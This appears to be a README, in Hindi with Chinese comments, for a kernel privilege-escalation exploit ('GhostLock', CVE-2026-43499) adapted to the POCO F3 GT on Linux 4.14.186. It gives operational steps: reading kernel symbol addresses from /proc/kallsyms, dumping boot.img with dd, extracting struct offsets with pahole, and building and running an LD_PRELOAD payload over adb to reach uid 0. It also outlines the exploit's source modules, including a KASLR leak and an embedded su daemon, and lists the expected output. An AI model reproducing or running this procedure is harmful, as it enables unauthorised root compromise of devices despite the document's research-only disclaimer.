
POCO F3 GT (aresin) के लिए GhostLock (CVE-2026-43499) शोषण — MediaTek Dimensity 1200, Linux 4.14.186 ARM64 कर्नेल विशेषाधिकार वृद्धि futex PI chain manipulation के माध्यम से
MediaTek Dimensity 1200 (MT6893) के लिए डेटा-ओनली physmap overwrite एक्सप्लॉइट।
कर्नेल: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM।
| शर्त | स्थिति | विवरण |
|---|---|---|
| कर्नेल संस्करण सीमा | ✅ | 4.14.186, 2.6.39 ~ 7.0.4 की सीमा में है |
| CONFIG_FUTEX_PI | ✅ | सक्षम (y) |
| CONFIG_RT_MUTEXES | ✅ | सक्षम (y) |
| आर्किटेक्चर | ✅ | aarch64 |
| CONFIG_PREEMPT | ✅ | सक्षम (y) |
| CONFIG_RANDOMIZE_KSTACK | ❓ | पुष्टि आवश्यक (4.14 शायद समर्थित नहीं है) |
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt
यदि root (Magisk) है, तो सीधे /proc/kallsyms से निकाला जा सकता है:
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img
# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)
# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf
# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"
vmlinux.elf खोलेंrt_mutex_waiter और task_struct स्ट्रक्चर खोजेंनिकाले गए ऑफसेट को target.h में सभी 0xTODO स्थानों पर भरें।
मुख्य ऑफसेट तुलना तालिका:
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973
# 编译
make preload TARGET_HEADER=target.h
# 产物: build/bin/preload.so
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true
# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
rt_mutex_waiter स्ट्रक्चर अलग है:
plist_node का उपयोग करता है, rb_node का नहींdeadline / ww_ctx फ़ील्ड नहीं हैंtask_struct लेआउट अलग है:
pi_blocked_on, pi_lock आदि के ऑफसेट 6.1.x से भिन्न हैंuclamp से संबंधित फ़ील्ड 4.14.x में मौजूद नहीं हो सकतेKASLR कार्यान्वयन अलग है:
Android 13 बनाम 14 सुरक्षा अंतर:
/proc/self/pagemap एक्सेस प्रतिबंध भिन्न हो सकते हैंऑफसेट भरने के बाद, Ghidra से क्रॉस-सत्यापन करने की सलाह दी जाती है:
rt_mutex_waiter स्ट्रक्चर पर जाएँtarget.h से मेल खाता हैghostlock-aresin/
├── README.md # 本文件
├── Makefile # 编译脚本
├── target.h # 目标设备偏移定义 (需要填写)
├── src/ # 源码
│ ├── main.c # 主利用逻辑
│ ├── util.c # 工具函数
│ ├── slide.c # KASLR 泄漏
│ ├── fops.c # 文件操作
│ ├── pipe.c # pipe 相关
│ ├── preload.c # LD_PRELOAD 入口
│ ├── su_daemon.c # su 守护进程
│ ├── su_blob.S # su 二进制嵌入
│ ├── standalone.c # 独立运行
│ ├── common.h # 公共定义
│ └── offset.h # 偏移计算
├── tools/
│ └── extract_offsets.sh # 偏移提取脚本
└── build/
├── bin/ # 编译产物
└── embed/ # 嵌入文件
केवल अनुसंधान/शैक्षिक उद्देश्यों के लिए। अपने जोखिम पर उपयोग करें।
मूल PoC: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/
इसके लिए अनुकूलित: ghostlock-aresin द्वारा POCO F3 GT (aresin)
| फ़ील्ड | विवरण | निष्कर्षण विधि |
|---|
INIT_TASK | init_task पता | /proc/kallsyms या Ghidra |
INIT_CRED | init_cred पता | /proc/kallsyms या Ghidra |
WAITER_*_OFF | rt_mutex_waiter फ़ील्ड ऑफसेट | pahole / Ghidra |
FAKE_TASK_*_OFF | task_struct फ़ील्ड ऑफसेट | pahole / Ghidra |
TASK_CRED_OFF | cred पॉइंटर ऑफसेट | pahole / Ghidra |
| चरण | आउटपुट | विवरण |
|---|
| प्रारंभिकरण | [*] GhostLock - aresin (MT6893 D1200) 4.14.186 | डिवाइस सही पहचाना गया |
| CPU बाइंडिंग | [+] CPU0 pinned | CPU0 पर पिन किया गया |
| पता लोडिंग | [*] init_task @ 0xffffffc00xxxxxxx | स्थिर LM पता |
| विशेषाधिकार जाँच | [+] uid: xxxxx | वर्तमान uid प्रिंट करता है |
| KASLR slide | [+] slide = 0 या slide = xxx | KASLR का पता लगाना |
| विशेषाधिकार वृद्धि | सफलता पर uid 0 हो जाता है | root प्राप्त करना |
| विफलता | [-] ... + रिबूट | kernel panic (भेद्यता मौजूद है किंतु ऑफसेट समायोजित करने आवश्यक हैं) |